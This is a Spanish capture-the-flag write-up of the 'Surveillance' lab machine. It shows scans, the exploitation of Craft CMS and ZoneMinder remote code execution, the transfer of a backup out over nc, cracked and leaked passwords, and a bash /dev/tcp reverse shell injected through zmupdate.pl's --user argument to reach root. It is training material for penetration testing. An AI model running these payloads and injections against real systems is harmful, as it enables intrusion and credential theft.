Surveillance
OS: Linux
Dificultad: Medio
Puntos: 30
Nmap
Nmap scan report for 10.10.11.245
Host is up (0.098s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://surveillance.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
Enumeramos directorios web y podemos ver lo siguiente.
┌──(root㉿kali)-[~/htb/Surveillance]
└─# gobuster dir -u http://surveillance.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://surveillance.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 200) [Size: 304]
/admin (Status: 302) [Size: 0] [--> http://surveillance.htb/admin/login]
Hay un panel de administracion que esta utilizando craft cms.
Craft CMS Unauthenticated RCE
La aplicacion es vulnerable a RCE no autenticado utilizando el siguiente script para explotarlo.
┌──(root㉿kali)-[~/htb/Surveillance]
└─# python3 exploit.py http://surveillance.htb
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Lateral Movement
Identificamos que hay una archivo backup en los directorios de la aplicacion.
www-data@surveillance:~/html/craft/storage/backups$ ls
surveillance--2023-10-17-202801--v4.4.14.sql.zip
Nos mandamos el archivos a nuestra maquina.
nc -w 5 10.10.14.89 4444 < surveillance--2023-10-17-202801--v4.4.14.sql.zip
nc -lvnp 4444 > surveillance--2023-10-17-202801--v4.4.14.sql.zip
El zip contiene un archivo sql y podemos ver el password del admin.
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
Utilizando crackstation podemos romper el hash y obtener el password.
El password puede ser utlizando con el usuario matthew.
matthew : starcraft122490
Nos conectamos por SSH.
┌──(root㉿kali)-[~/htb/Surveillance]
└─# ssh matthew@10.10.11.245
matthew@10.10.11.245's password:
Last login: Mon Apr 8 09:42:18 2024 from 10.10.14.89
matthew@surveillance:~$ id
uid=1000(matthew) gid=1000(matthew) groups=1000(matthew)
matthew@surveillance:~$ cat user.txt
55d8668a44ca61c641abffdbf4aa3bf0
matthew@surveillance:~$
Privilege Escalation (User)
Revisando los puertos hay uno extra 8080.
matthew@surveillance:~$ netstat -putona
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Timer
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - off (0.00/0/0)
Hacemos portforward con SSH.
ssh matthew@10.10.11.245 -L 8081:127.0.0.1:8080
ZoneMinder Unauthenticated RCE
La aplicacion es vulnerable a RCE. Usando el siguiente script es posible explotarlo.
┌──(root㉿kali)-[~/htb/Surveillance]
└─# python3 zoneminder.py -t http://127.0.0.1:8081 -ip 10.10.14.89 -p 1234
[>] fetching csrf token
[>] recieved the token: key:0e036f168a3ea4c158762cfed48bc1f7eddb59f2,1712570509
[>] executing...
[>] sending payload..
[!] failed to send payload
┌──(root㉿kali)-[~/htb/Surveillance]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.89] from (UNKNOWN) [10.10.11.245] 55584
bash: cannot set terminal process group (1089): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www$ id
id
uid=1001(zoneminder) gid=1001(zoneminder) groups=1001(zoneminder)
zoneminder@surveillance:/usr/share/zoneminder/www$
Privilege Escalation (Root)
El usuario tiene privilegios de sudo.
zoneminder@surveillance:~$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User zoneminder may run the following commands on surveillance:
(ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
Encontramos tambien un password en la siguiente ruta.
matthew@surveillance:~$ cat /usr/share/zoneminder/www/api/app/Config/database.php
public $test = array(
'datasource' => 'Database/Mysql',
'persistent' => false,
'host' => 'localhost',
'login' => 'zmuser',
'password' => 'ZoneMinderPassword2023',
'database' => 'zm',
'prefix' => '',
//'encoding' => 'utf8',
);
Despues de investigar los script que estan en /usr/bin el mas relevante es zmupdate.pl. Ya que recibe como argumento el usuario y genera un backup con el comando mysqldump.
zoneminder@surveillance:~$ cat /usr/bin/zmupdate.pl | grep user
zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version> [-u <dbuser> -p <dbpass>]
-u <dbuser>, --user=<dbuser> - Alternate DB user with privileges to alter DB
-p <dbpass>, --pass=<dbpass> - Password of alternate DB user with privileges to alter DB
-interactive - interact with the user
-nointeractive - do not interact with the user
'user:s' =>\$dbUser,
print("Error, migrating events can only be done as user root or ".$Config{ZM_WEB_USER}.".\n");
En la siguiente parte de codigo concatena el usuario y el password al commando.
my $command = 'mysqldump';
if ($super) {
$command .= ' --defaults-file=/etc/mysql/debian.cnf';
} elsif ($dbUser) {
$command .= ' -u'.$dbUser;
$command .= ' -p\''.$dbPass.'\'' if $dbPass;
}
if ( defined($portOrSocket) ) {
if ( $portOrSocket =~ /^\// ) {
$command .= ' -S'.$portOrSocket;
} else {
Podemos comprobar lo anterior con el siguiente comando.
sudo /usr/bin/zmupdate.pl --version=1 --user='test' --pass=ZoneMinderPassword2023
Por lo tanto podemos aprovechar eso para ejecutar comandos de la siguiente forma.
sudo /usr/bin/zmupdate.pl --version=1 --user='$(bash -c "bash -i >& /dev/tcp/10.10.14.89/4444 0>&1")' --pass=ZoneMinderPassword2023
References
https://www.rapid7.com/db/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892/ https://www.exploit-db.com/exploits/51902